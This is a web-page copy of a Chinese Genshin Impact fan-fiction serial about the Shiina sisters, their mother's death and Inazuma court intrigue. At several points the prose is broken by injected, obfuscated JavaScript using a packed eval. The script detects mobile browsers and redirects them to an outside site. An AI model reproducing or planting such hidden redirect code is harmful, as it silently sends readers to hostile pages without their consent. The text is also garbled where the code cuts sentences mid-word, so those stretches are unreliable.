汐子对这些权谋之事一点也提不起兴趣。要是让她去研究那些草药,她或许还会兴致勃勃,可听这些,她只觉得厌烦。她抬头悄悄打量姐姐,从青子平静的脸色中看不出什么情绪。 汐子小小地叹了口气,对姐姐说:“我是不是很没用?什么都帮不上你。” “怎么会呢?”青子停下脚步,伸手捧起妹妹的脸颊,直视她眼中的失落,“汐子,每个人擅长的事情本就不同。比如说,你就在医术上极有天赋,也真心喜爱它。这就很好。” 尽管有姐姐的安慰,汐子还是有点闷闷不乐。她深知以自己这样的身份,很多事情终究身不由己。 结果第二天一早,汐子万万没想到,姐姐青子告诉她,已经为她安排妥当,可以去新设的医寮修习了。 汐子万万没想到还有这样的好事!她睁大了眼睛,不可置信地转头看向姐姐,似乎在思考这句话是真是假。 青子轻笑一声,看着呆呆愣愣的妹妹,忍不住抬手理了理她鬓边的碎发,解释道:“昨天与那位鹰司家小姐闲谈时得知,九条家主似乎有意在奉行所内设立一处诊疗之所,正在筹备人手。” “你也知道父亲是何等样人,所以,汐子,”她看着妹妹瞬间亮起的眼眸,“既然想去,那就去吧。” 汐子当然知道姐姐为自己争取这个机会费了多少心思。她紧紧握住姐姐的手,哽咽道:“姐姐……” “好了好了,”青子轻轻捏了捏妹妹的鼻尖,语带怜惜,“莫哭了。” 平日里,稻妻的民众若遇疑难之事或心中祈愿,都会到鸣神大社去求签问卜,祈求指引。 小时候椎名青子还能仗着自己年纪小不懂事,经常前去鸣神大社。但如今情势不同,她若再用儿时的理由,必定会引起他那位位心思深沉的父亲注意。 她沉默地轻叩桌面,思虑片刻,拿出了母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969832|177785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲所赠的那枚象征大巫女身份的勾玉。指尖抚过,发出一声几不可闻的轻叹。 第二日,当椎名青子向父亲椎名悠真言明欲往鸣神大社求问姻缘之事时,椎名悠真果然未加阻拦。 如今九条孝行年事渐高,其下附庸家族中,鹰司家发展势头正盛。且鹰司家那位公子鹰司勇有勇有谋,已擢升为奉行所的一把手。 勘定奉行的柊家唯有一位千金,若青子是男儿身倒也好联姻,可惜柊家这位备受宠爱的大小姐终归要嫁作人妇。 神里家则早已衰落,因此,椎名悠真盘算着,联姻人选还是着落在鹰司家或九条家更为稳妥。九条家的政仁、镰治两位公子尚且年轻,青子仍有良机。 寻了个“求姻缘需诚心,不宜旁人打扰”的由头支开一直跟随的下仆。椎名青子独自走向神社深处,面上维持着虔诚平静的神色。 那位八重宫司大人通常都在鸣神大社,向内务巫女禀明来意后,椎名青子被引至神社一处僻静的庭院。 八重神子正凭栏远眺,椎名青子垂眸敛衽,恭敬道:“见过八重宫司大人。” 话音刚落,一缕清雅的樱花气息便已近前。那位大人手持御币,语带促狭:“哎呀呀,不过一段时日没见,小家伙怎地对我如此生分了?” 椎名青子一时默然,这位八重大人性情着实难以捉摸。 她取出贴身珍藏的勾玉,双手奉上。 八重神子目光触及那枚代表大巫女身份的勾玉时,眼中闪过一丝凝重。 椎名青子深深俯首,声音低沉却清晰:“母亲她……最近怕是不大好了。” 那位八重大人接过勾玉的手微微一颤,她的母亲如月七绪善良而富有责任心,一生不是在净化邪祟污秽,就是在调解人与妖之间的关系。 自从那场撼动提瓦特的坎瑞亚灾变之后,稻妻也未能幸免。其中,那位曾追随雷电将军的鬼族少女御舆千代,不幸被深渊的黑暗力量侵蚀了心智,竟在狂乱中对将军大人挥刀相向。 将军被迫出手自卫,御舆千代因此失去了她的鬼族双角和右臂。此事之后,人们对鬼族的恐惧和厌恶如同野火般蔓延开来。 祸不单行,八酝岛上,曾经被雷电将军斩杀的强大蛇神奥罗巴斯,其巨大的尸骸并未彻底消散。残留的怨念与魔神之力日积月累,化作了名为“祟神”的污秽瘴气,不断侵蚀着岛屿。 这股污秽不仅毒害土地生灵,更引来了因怨念或深渊力量而诞生的妖邪鬼怪,在岛上及周边海域肆虐,使得本就紧张的人妖关系更加如履薄冰。 时移世易,在雷电将军的威光之下,如今的稻妻社会终于迎来了相对稳定的时期。 长久的对峙与伤痛,也让双方开始寻求共存之道。 如月七绪的身体因长年对抗深渊侵蚀和净化邪祟而耗损过甚,早已沉疴难愈,如今更是每况愈下。 纵然有珍贵药材,恐怕也只能勉强拖延些时日罢了。 “得空,我会去看看她。”八重神子沉默片刻,终是应承道。 得到这句承诺,椎名青子今日此行的目的已然达到。她深知不宜久留,外面那位被她暂时支开的下仆恐生疑虑。遂低声应了句“是”,便依礼告退,转身离去。 26. 海棠醉日(三) 走出鸣神大社的时候,她正好与最近流言缠身的主角神里绫人擦肩而过。黑发的少女腰佩长刀,脚踏木屐,朝他微微颔首算是打过招呼,旋即远去。 最近汐子回来的越来越晚,眼睛却越来越亮,每天拉着青子的手,叽叽喳喳地说着医寮中遇到的那些病人。 可说着说着,她的语调骤然低落下来。椎名青子当然知道她这位妹妹的性子天真柔软,心地纯善。 她问:“姐姐,我可以抽空去绀田村那里为他们诊治吗?” 青子的手指轻轻点了点妹妹的额头,不赞同地摇头:“我看你呀,是太天真了,光是免费的名头一打出去,你知道到时候来的人会有多少吗?你还要不要休息了,汐子?” “那……那我象征性收点费用?”汐子急切地说,“这件事我会和父亲说的!嗯,嗯,理由就用……就用帮助椎名家博取好名声。” “不,”椎名青子沉吟片刻,开口道:“要用帮天领奉行博取好名声。” 虽然不知道九条家设立医寮究竟有什么目的,但想到如日中天的鹰司家,椎名青子不介意将这点功劳让给九条家。 正如大御所设立三奉行的那样,三奉行本就该相互制衡又同气连枝,不是吗? 汐子不太清楚为什么是天领奉行而不是勘定奉行,但她对姐姐有着一种盲目的信任,姐姐说的都是对的,姐姐做的当然也是有道理的。 “嗯嗯,”她乖巧地点着头,“我会去和父亲说的。” “还有一件事,”椎名青子泡着茶,动作行云流水,“你的那位礼仪老师已经在我面前说了好几次你的缺课了,汐子。” 说起这个,椎名汐的脸瞬间涨得通红,她声音细若蚊呐,小小的:“我知道错了,姐姐别生气。” 像是想起了什么,她慌忙从袖袋里掏出一个精致的香囊:“这是我用宁神花和清心磨成粉,然后混合特制香料做出来的,具有平心静气的安神功效,我给母亲那里也放了一个一模一样的。”说起这个,她的声音不由得又低沉下去。 然后又强打起精神来:“那我先去准备和父亲说义诊的事了,姐姐。” 看着椎名汐逐渐走远的身影消失在廊角,椎名青子又开始思索愚人众的目的,她轻轻啧了一声,这帮贪婪的家伙,如同嗅到蜜的虫,一有机会就围了上来,真是让人厌烦。 椎名青子不光要负责椎名家的内部运转,还要打理一些明面上的资产。 就比如这家名为“花见”的花艺铺子,就是她母亲留下来的资产之一。 在稻妻,花艺、茶艺和歌道被统誉为‘风雅三道’,也有着不少以此为生的花艺匠人。 最近受时局影响,生意不好也不坏。 椎名青子仔细查看了账目,将店铺主事和账房叫来,指着一处异常问道:“为什么这一项支出这么大?” 两名管事对视一眼,然后答道:“椎名小姐有所不知,最近这名贵花卉‘琉璃百合’是从璃月进口而来,深受稻妻各位贵族小姐、夫人的喜爱,所以价格不菲。” 椎名青子轻哼一声:“既然如此,那为何账目上还是入不敷出?一株‘琉璃百合’报价二十万摩拉?据我所知,从远航之风的卡琵莉亚小姐那里买蒙德的蒲公英,一株也才六万摩拉吧。” 她摆摆手,示意不想再听他们的狡辩。他们这般做派,不就是仗着母亲如月七绪性子温和与父亲椎名悠真疏于管理吗?如今情况可不一样了,如果不借此杀鸡儆猴,怕是下面的人也不会安分。 看了看店里陈列的精美花器,她不知怎地想到了神里绫华,伸出手指了指:“将‘满月’与‘二重切’这两件花器,送去勘定奉行府,赠与柊千里小姐。” 这样算是糊弄椎名悠真,证明自己有好好跟勘定奉行打好关系。做完这些,她便离开了店铺。 走出“花见”店铺,恰巧遇到了神里绫华。见椎名青子旁边的下仆怀中抱着花器,神里绫华笑道:“这两件花器样式雅致,想来一定会让人喜欢的。” 椎名青子对花艺了解不深,见这位年纪尚幼的女孩脸上还没掩去明显的疲倦,她低声对下仆说了句:“你们先回去”。 然后朝神里绫华道:“不知我可否有这个荣幸,请白鹭公主同我走一走散散心?”神里绫华先是略显惊讶,然后欣然笑道:“当然。” 她努力收敛起脸上的倦怠,两个人并肩走在町街上。 与花见坂的烟火气不同,町街是整个稻妻城最主要的商业场所,物价和地租也更为昂贵。 两侧自然也少不了贵族的宅邸和一些仅供上流人士的私人娱乐场所,街道上弥漫着各种香料和小吃的混合气味。 来往行人的喧闹和商贩的叫卖声交织,这些嘈杂的声音反倒也让神里绫华小小的放松了一下,她看着旁边身形挺拔的女子,知道这位椎名家的小姐和自己哥哥一样,都不容易。 如月七绪身体尚算好的时候,还能对神里家伸出援手。随着神里家衰落,明处的援手就转到了暗处的默契。 “不用这样拘谨的,绫华。”是椎名青子的声音,她说,“今天就当是陪我随意逛逛,你该放松一点。” 看着这个和自己妹妹年岁相差无几却要背负更多的孩子,椎名青子如此开口。 “啊……”神里绫华脸上浮现出一点不好意思来,身体却微微地放松下来。她们就这样走了一段路,然后在町街的岔路口分别。 回到椎名家,椎名青子又去看了母亲。如月七绪的精神已经非常差了,昏昏沉沉地昏睡在病榻上,整个人虚弱得好像下一刻就要消散而去。 如月七绪身负狐妖血脉,自幼便跟随在那位八重宫司大人身边修习。 等到年纪稍长,便开始在稻妻各处奔波,处理那些常人无法看见、由怨念或深渊力量凝聚而成的污秽。 椎名青子知道,一些八重大人不便亲自出面或是需要隐秘处理的事情,都是由母亲如月七绪代为奔走。 为了维护稻妻的人与妖之间的平衡与稳定,这位母亲几乎付出了全部的心力。因此对两个孩子的日常教导难免有所忽视。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969833|177785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 以至于发现椎名悠真带着年幼的椎名青子去参加充斥着权谋与算计的宴会,以及强迫她学习取悦他人的技艺时,夫妻二人爆发了激烈的争吵。 后来,因为神里家早年定下的指腹为婚实在不好取消,如月七绪便坚持在接下来一段时间里,由她亲自教导两个女儿学问。 青子的剑术师父岩藏光造,师承岩藏道启。自从十岁那年在比试中击败师父的一名得意弟子后,青子便达到了岩藏流“初传”的境界。 随着年龄渐长,在她十四岁那年的一次切磋中,她成功击败了师父岩藏光造本人,便获准修习奥传的剑技。 他们年轻时确实相爱过吧?看着椎名家中那些母亲亲手布置的花艺摆设和她房中珍藏的泛黄书信,椎名青子想到。 可是这点情爱,又如何能与椎名悠真日益膨胀的权势野心,以及母亲所背负的净化污秽、维系平衡的职责相比呢? 第二日,处理完家中一些要紧的事务,回到椎名家院落时,见气氛不同寻常地肃穆寂静,椎名青子心下一沉,知道大抵是八重大人来了。 她快步走到母亲房门口,里面已经传来了压抑的啜泣声。 那位尊贵的宫司大人抱着一只毛色纯白、气息全无的狐狸走了出来。那狐狸体型不小,正是母亲常化的狐形。 八重神子平日慵懒的语调此刻带着一种沉重的平静,她对椎名青子开口道:“七绪不想留在这里了,她想回她最初修行、也是守护了一生的出云大社,去看看那片土地。我要带她走,你可有意见?” 许是因为亲眼看着自己一手带大的孩子逝去,这位八重宫司的语气也失去了往日的从容。 “自然没有,”椎名青子这样说着,最后忍不住请求道:“我可以……最后再看一看母亲吗?” 如月七绪性子温柔,嫁于椎名悠真一方面是因为两情相悦,另一方面则是为了维护人与妖的关系。 在青子和汐子年幼的时候,她经常化为这比小马驹还略高些的优雅狐形,任由两姐妹在她柔软蓬松的毛发间玩耍嬉闹。 现在,那些温暖的,烦恼的,都随着母亲的离去离自己远去了。泪水无声地滚落,椎名青子深深低下头:“母亲的后事,就……麻烦八重大人了。” 她现在还要准备搭建仏间和料理母亲身后的一系列事件,她现在还不能倒下,她后面还有汐子呢。 强打起精神,吩咐下仆悬挂“葬中”灯笼,贴上白色丧贴。今夜她还要和汐子一同守灵。而另一边,椎名悠真已开始准备以家主身份操持葬礼、接待吊唁宾客等事宜。 内室中,椎名汐已哭得喘不上气,几乎晕厥过去。 与记事起便被父亲带在身边应酬的青子不同,椎名汐年幼时,如月七绪已察觉到丈夫对女儿教养的偏差,及时将两个女儿的教导权收归己手。 汐子与母亲的感情自然比青子更为深厚亲密,此刻悲痛难抑,哭得肝肠寸断。 椎名青子静立门外,待妹妹那失控的悲泣声稍稍平复一些,才轻轻推门而入。 27. 海棠醉日(四) 来椎名家吊唁的人络绎不绝,椎名青子和椎名汐一同跪在灵堂中央,两人皆身着肃穆的黑色留袖和服。 门外的侍从恭敬地从前来吊唁的宾客手中接过香典。那位鸣神大社的宫司大人八重神子,此刻手持御币,神情肃穆,口中吟诵着净化灵魂、引导往生的“祓词”。 椎名青子感到一阵阵头晕目眩,连日来的悲痛与劳累几乎要将她压垮。这时,一道温润的声音在她耳边响起,是神里绫人,他与妹妹神里绫华一同前来吊唁。 这场景为何如此熟悉?椎名青子恍然忆起。几年前神里家主的葬礼,不也是如此景象吗? 只是那时与此刻不同,那时,神里家那些心怀叵测的附属家族,表面上是安慰神里绫人,实则暗地里想要架空神里家的权力。 她记得,记得自己和妹妹同样穿着黑色留袖,为逝去的神里家主献上了一枝杨桐枝,寓意逝者莫再留恋尘世。 那位年轻的家主神里绫人,今日同样带来了一支杨桐枝。三枝一束,代表着“天、地、人”三界,寓意灵魂得到安宁。 他口中说着什么,跪在下方的椎名青子其实已经听不真切了。她不知道自己跪了多久,只记得天边微露曙光时,父亲椎名悠真来到她们身边。 他为亡妻上了三炷香,转头看向两个女儿,脸上带着温和却疏离的笑容:“青子、汐子,你们若是累了,便先下去歇息片刻吧。” 椎名青子默默搀扶起几乎站立不稳的椎名汐,她的声音里带着一种无法掩饰的沙哑与疲惫:“汐子,去吃点东西垫垫肚子吧。” 椎名汐也知道自己硬撑下去身体会垮,反而会让姐姐更担心,便顺从地低声道:“好,姐姐。” 葬礼尘埃落定后,椎名青子终于明白了父亲椎名悠真那古怪态度的缘由。 原来,八重神子大人当着宾客的面对椎名悠真道:“哎呀呀,岁月如樱,转瞬即逝呢,青子不知不觉也到了能独当一面的年纪了。” “七绪她呀,走得早了些,留下这偌大的神社,总得有人好好看着。风间那孩子,心思是纯的,只是嘛……”八重神子唇角勾起一个意味深长的弧度,“初承重任,难免像刚出窝的幼狐,跌跌撞撞,尚需雕琢。” 她顿了顿,语气温和却不容置疑,“不如就让青子去风间身边待些时日?一则替她那‘粗心’的母亲照拂照拂神社,二则嘛,也好帮衬帮衬这位新晋的大巫女,让她这位置,坐得更稳当些。” “你不会舍不得吧,椎名悠真?” “怎么会呢?”椎名悠真皮笑肉不笑地回应道。 这确实是一个相当体面的安排,也意味着那位宫司大人正式将椎名青子纳入了自己的羽翼之下。稻妻谁人不知,鸣神大社之中,地位最为尊贵、影响力最深远的,便是这位八重宫司大人。 椎名汐努力从丧母之痛中走出来,近来一直在医寮忙碌。听她说,医寮中有个名叫城山的年轻人,似乎受九条家资助。得知这个消息,椎名青子只是点了点头,心中若有所思。 这些日子,椎名青子主要在出云大社新任巫女风间那里学习神社事务。虽说是在风间那里,其实也不尽然,更多时候,是在八重神子身边。 “呵呵…”八重神子忽然轻笑出声,“细论起来呀,七绪那丫头,可是该恭恭敬敬唤我一声‘母亲大人’的呢。”她目光流转,唇角勾起一个似笑非笑的弧度,“那么…我们聪明的小青子,你倒说说看,你该唤我什么才好呢?嗯?” “宫司大人,”椎名青子打断了她的话,语调带着一种冬日寒泉般的清冷。或许是脱离了椎名家,她身上那层一贯温和的假面渐渐褪去。 对椎名青子而言,八重神子既是值得信任的长辈,也是能让她放下伪装的存在,所以她才会在这里展现出真实的自己。 站立在下方的少女身姿挺拔如松,带着习武之人特有的沉稳与锐利。腰佩千鸟,声音清冽,与她那位温柔似水的母亲截然不同。 她直接切入正题:“勘定奉行和天领奉行私下似乎在进行某些交易,柊家那位家主今日似乎向将军大人提交了一封关于稻妻锁国的公文。” “此事么…”八重神子语气轻缓,“非鸣神大社所宜涉足。” 鸣神大社是稻妻最大的神社,主要负责供奉雷电将军,主持祭祀,和净化污秽、安抚民心。 一旦越俎代庖,干预奉行所政务,势必会引起其他三奉行的忌惮与不满。 椎名青子闻言沉默了,显然也想到了这一层。自从五百年前将军大人创造了维持永恒的人偶后,整个稻妻便一直笼罩在“永恒”的意志之下。 永恒?究竟什么才是真正的永恒?走出鸣神大社,椎名青子心中萦绕着这个无解的疑问。 她的剑术师父岩藏光造经营着一家道馆,门下弟子众多。 对于椎名青子这位亲传弟子,绝大多数同门的态度都是既带着亲近又怀有敬畏的。 毕竟,在她还是个小师妹的时候,道馆里谁没跟她切磋过呢?或者说,谁没被这位“小师妹”的剑术打服过呢? 与一些还在初传阶段艰难摸索的普通弟子不同,椎名青子如今已至“免许皆传”的境界。 连这一代的岩藏宗主都曾断言,椎名青子必将把岩藏流剑术发扬光大。 走进道馆,里面议论纷纷,话题自然围绕着最近将军大人颁布的锁国令,以及稻妻海域出现的恐怖雷暴。 起初,许多人并未意识到事态的严重性,直到椎名汐抱怨药材价格飞涨,直到在离岛经商的商人开始缴纳比以往沉重数倍的关税,直到市面上许多来自异国的货物渐渐消失,生活成本节节攀升。 说起来,这次在木漏茶室,才是椎名青子与神里绫人真正意义上的会面。 氤氲的茶香在两人之间缓缓弥漫,这位神里家家主对茶道显然也颇有造诣,举止优雅从容。 他将一杯清茶轻轻推到椎名青子面前。离得近了,椎名青子甚至能嗅到他宽袍大袖拂动时带起的清淡雅致的熏香。 椎名青子抿了一口茶,开门见山道:“我是否该谢谢你?” 多亏社奉行给勘定奉行制造的那些‘麻烦’,让她那位父亲忙得焦头烂额,不得不将一部分家族产业的管理权交到椎名青子手上。 神里绫人轻轻一笑,语气温和:“礼尚往来罢了。” 听闻这位神里家主善弈棋,椎名青子倒不是不喜欢聪明人。聪明人好打交道,只是过于聪明,也容易让人心生戒备,难以看清其真实意图。 “神里家最近似乎在购置一批名贵茶道器物?”她抬手,宽大的衣袖不经意间遮掩了神情,只有声音依旧平淡:“我会想办法将那些名贵器物换成更低廉的茶具。” “当然,应付外界查验的账目记录也会做得天衣无缝。”她这般说着,起身准备告辞,“不必说什么感谢的话,就当是为了我们共同的‘礼尚往来’吧。” 椎名汐名下也有几处产业,可惜这些产业几乎被她折腾得入不敷出。椎名青子翻看着医寮和汐子名下铺子的账簿,唇角勾起一丝无奈的冷笑,目光落在下方垂着头、像只做错事的小鹌鹑般的椎名汐身上。 随着锁国令的颁布,原本权势稍逊的勘定奉行权力日渐膨胀。 他们向滞留离岛的外国商人征收重税,导致依靠进口的粮食价格因锁国和重税双重影响而节节攀升。 甚至连水果,也因为幕府为了维护自家果农利益,对进口水果施加了诸多限制而变得昂贵。 偏偏自己这个善良过头的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看着怀中哭红了眼睛却依然固执的妹妹,椎名青子难得放缓了神色:“下周在勘定奉行府邸会有一场雅集。我想,不少贵族小姐都不会拒绝这个为家族博取善名、提高声望的机会。” 她顿了顿,“当然,汐子,这也是把双刃剑。一旦民众对三奉行的怨气积累爆发,你作为发起者很容易被波及,你可要想清楚了。” “嗯嗯,”椎名汐用力点头,“我可以保护好自己的!我的剑术已经……足够自保了。” “好了,好了,”青子替她擦掉眼泪,“你先回去好好休息吧。” 椎名青子还要处理堆积如山的公务,鸣神大社的事务叠加椎名悠真那边需要她过目的文件,让她近来身心俱疲。 近百年来,鸣神大社一直恪守着中立的立场,专注于祈福解厄、驱邪祓魔以及守护神樱树。 稻妻人深信,神樱树能净化土地中的污秽瘴气,保护一方水土安宁。 因此,无论哪个家族都不会拒绝与鸣神大社交好。 只不过那位八重大人实在太过圆滑通透,除了因为净化污秽、维持结界等必要事务需要与社奉行合作外,对其余的政务纷争,她一贯是置身事外。 听下人说,她那位父亲大人椎名悠真的身体近来也每况愈下了。椎名青子心中冷笑:你可要好好活着啊,我的父亲。 为了替自己的孩子扫清未来的障碍,她那位母亲不惜在生命的最后时刻,对这位昔日的爱人种下诅咒。 平日里与常人无异,但一旦身体频繁接触府邸中常年熏燃的熏香,便会迅速衰弱下去,寻常医术根本查不出缘由。这,便是母亲留给父亲的“礼物”。 终于处理完案头的公务,贴身侍女知鸟奉上温热的提神茶汤。椎名青子简单快速地查看了一下最后几份文书,确认无误后,起身揉了揉发胀的眉心。 28. 海棠醉日(五) 近来,椎名青子与神里家那位家主神里绫人的会面逐渐频繁起来。 其一是因为稻妻当前动荡的局势,其二则是鸣神大社与社奉行在净化污秽、维护结界等事务上本就有着往来。 比起那固步自封的雷电将军,眼前这位人偶将军未免也太过于……不知变通。与其说她是统治国家的神明,倒不如说是一道冰冷执行‘永恒’指令的枷锁。 走进木漏茶室,椎名青子照例朝着看板犬太郎丸颔首致意。太郎丸欢快地摇了摇尾巴,蓬松的毛发在暖黄的灯光下显得格外温顺。 看到这一幕,椎名青子不由得唇角微扬,露出一抹浅笑。神里绫人推门而入时,恰好撞见佳人展颜的瞬间。灯下看美人,尤胜三分色。 他不由得微微一怔,待回过神,椎名青子已收敛了笑意,恢复了惯常的沉静。 “抱歉,我来迟了。”他温声道。 “无妨,”椎名青子示意他入座,“我也刚到。” 训练有素的侍女奉上清茶,清雅悠远的茶香弥漫开来,恰巧是椎名青子偏爱的白毫银针。 锁国令之下,稻妻民生凋敝,暗流涌动,她所能做的,也唯有尽力稳定局面。 愚人众表面上看似安分,只是私下频繁接触勘定奉行与天领奉行。在外交层面,贸然驱逐显然不是明智之举。 离岛的局势暂时算是勉强稳住,多亏了那位来自璃月的传奇船长北斗,她竟率领船队突破了环绕稻妻的恐怖雷暴,带来了一大批急需的物资,价格也还算公道。 天领奉行掌管军事,勘定奉行掌管财税,社奉行则负责文化祭祀与部分民生,外交事务本也归属社奉行管辖。 八重神子大人的意思,是让社奉行设法接触愚人众,探明其意图。 对于愚人众为何选择了天领奉行和勘定奉行,却绕开了社奉行。椎名青子猜测,一方面是因为社奉行实力在三奉行中相对较弱,另一方面则可能是社奉行所辖的文化祭祀事务,与愚人众寻求的军事或经济渗透目标关联不大。 “最近终末番在八酝岛发现了愚人众活动的踪迹,”神里绫人放下茶杯。 “应是与其他两大奉行交易的环节之一,”椎名青子沉吟道。 八酝岛,除了魔神奥罗巴斯遗留的巨大残骸外,似乎再无他物值得关注……除了那些可用于强化武器的晶化骨髓。 但要说愚人众仅仅是为了晶化骨髓,椎名青子绝不相信。 这背后究竟藏着怎样的阴谋?她的指尖无意识地摩挲着温润的杯沿,“那就劳烦终末番多留意八酝岛的动静,回头我会寻机同九条裟罗提一提此事。” 九条家的几个后辈,比起老谋深算的九条孝行,确实称得上“歹竹出好笋”。 九条裟罗虽是其养女,但武艺高强,年纪轻轻便掌管了天领奉行一部分治安与防务。 更重要的是,或许源于天狗血脉中对雷霆与威权的天然敬畏,她对将军大人的忠诚无可置疑。 “好,”神里绫人点头应下,两人皆事务缠身,连这般会面都要抽空挤时间。这片刻的宁静,倒成了难得的喘息之机,算得上短暂的小憩了。 “对了,”椎名青子像是忽然想起什么,从袖袋中取出一本……轻小说?如果神里绫人没看错的话。 她将书册轻轻放在茶桌上,声音难得褪去了平日的清冷,对着神里绫人眨了眨眼:“劳烦把这个转交给绫华,她上次说《珍说澄研真影打》第六册总也抢不到,就当是我送她的小礼物。” 神里绫人微愕,旋即脸上漾开一个笑容:“自然,我想绫华收到这份礼物,定会欣喜万分。” 椎名汐近来格外期盼着璃月商船的到来,不仅因为那位豪爽的北斗船长会带来物美价廉的各类商品,更重要的是来自璃月的医学传承。 作为拥有庞大船队、航行各国的“死兆星”号,船上自然少不了经验丰富的医师。仅仅是几次简短的交流,已让椎名汐获益匪浅。 她下定决心,下次船队抵达时,她定要随船前往璃月求学! 璃月有着悠久深厚的医学传承,“不卜庐”更是闻名遐迩,对于许多稻妻束手无策的疑难杂症也颇有独到见解。 况且璃月毗邻须弥,须弥常年受“死域”这种侵蚀生命的诡异现象困扰,其针对污染与侵蚀的医学研究也是走在前列。 她之前接手了几位受祟神气息严重侵蚀的病人,只能用昂贵稀有的药材勉强吊住性命,但病人仍不可避免地日渐衰弱下去。 向姐姐提起此事时,椎名汐尚不清楚姐姐的顾虑,只见对面的椎名青子陷入了沉思。 她以为姐姐是担忧自己的安全,立刻挺直腰板,带着几分急切与保证开口:“我很小心的!都是混在商人堆里,偷偷找‘死兆星’号上的医师交流的。” “不,”椎名青子打断妹妹的话,“我并非忧虑这个,我只是在想……” 后面的话她没有说出口,只是沉默地摇了摇头。 显然,椎名汐也想到了这个现实的问题:“父亲那边……父亲那边,我会去说的!” 自从椎名汐以“帮天领奉行博取善名”的名义进行义诊后,九条家在一段时间内对椎名家可谓礼遇有加。 这让椎名悠真看到了一种可能性,一种与九条家联姻的可能性,至于椎名青子,椎名悠真纵然有心管束,也鞭长莫及。 毕竟这位“好女儿”名义上正忙于协助出云大社处理各项事务,让他一时难以插手。 而椎名汐,整日奔波于义诊与钻研医术之间,行动反而相对自由。 在勘定奉行举办的一次雅集上,椎名汐更是成功拉拢到不少贵族小姐的赞助,一时间声名鹊起。 出于谨慎,椎名青子向妹妹打听了一下她之前在医寮的同僚城山。 城山,在医寮里是个毫不起眼的人,总是灰扑扑的,仿佛稍不注意就会被忽略。 若非椎名汐偶然撞见他与一名身着幕府差役服饰的同心低声交谈,也不会对他多留一分心。 城山被发现后神情尴尬,椎名汐对他人秘密并无兴趣。 过往的经历告诉她,知道太多并非好事。于是她只是对那年轻人温和地笑了笑,坦然道:“我什么都没看见。” 但令椎名汐意外的是,后来她在绀田村义诊时,城山竟主动前来帮忙。 偶尔闲聊间,椎名汐得知城山家中还有一位年迈的母亲和一个年幼的妹妹。 他说妹妹很可爱,约莫五六岁,上次回家时,小姑娘正拿着一个简陋的草编兔子玩耍,而且已经会甜甜地叫“哥哥”了。 比起早逝的母亲如月七绪,年长些许的椎名青子在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969835|177785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 椎名汐心中更似母亲,年幼时,椎名汐牙牙学语,第一个清晰唤出的词便是“姐姐”。 或许因为这份相似的亲情,椎名汐与城山之间的距离无形中拉近了不少。 她将城山的近况挑了些无关紧要的告诉姐姐,末了,仿佛不经意般提起:“他最近……好像在研究什么新药方子来着。” 死兆星号一年大约往返稻妻两三次。算算时间,再等五六个月左右,便能启程前往璃月了。 想到此处,椎名汐眉梢眼角都忍不住染上期待的光彩,开始着手整理自己积累的疑难病例笔记。 提起椎名家,人们首先想到的必然是姐姐椎名青子,至于椎名汐?在许多人看来不过是依附于椎名青子光芒之下的影子,毕竟姐姐的成就与声名已足够荫庇家族。 这主要归因于椎名青子幼年时便被父亲椎名悠真带在身边参与各种应酬,年纪稍长,便不得不融入贵族圈子,避无可免地出席诸多雅集。 那位乌发少女举手投足间自然流露的雅致风仪,恰好契合稻妻所崇尚的“幽玄”的意境。 有的人只需静坐,便如一幅意境悠远的浮世绘。抬眼垂眸间,那份沉静从容的气度,难免让人心生倾慕。 这也是那些追求风雅与地位的贵族小姐们愿意同椎名青子交好的重要原因之一。 椎名汐对自己声名不显的状态十分满意,她深知这是姐姐保护她的方式。 她也会想起神里家那位与自己年纪相仿的女孩神里绫华,小小年纪便要分担兄长的重担,成为神里家对外的门面。 那样的生活,想想都觉得疲惫压抑。椎名汐对神里绫华,心底总存着几分敬意。 岩藏光造的道馆主要依靠收取若者微薄的束脩以及稻妻民间零星的募捐维持运转。 岩藏光造择徒极严,徒弟需经过严格考核方能入门,对他而言: 无怜悯之心者,不收; 无正直品性者,拒之门外; 无坚守之道者,亦不传授。 她那位被称作「破门的赤鬼」师兄冈崎寅卫门找上了门,这位身材高大的武士已深得岩藏流真传,达到了“免许皆传”的境界,此刻却难得地显露出慌乱。 “小师妹!”他声音发沉,“师父……师父他竟想主动上缴神之眼!” 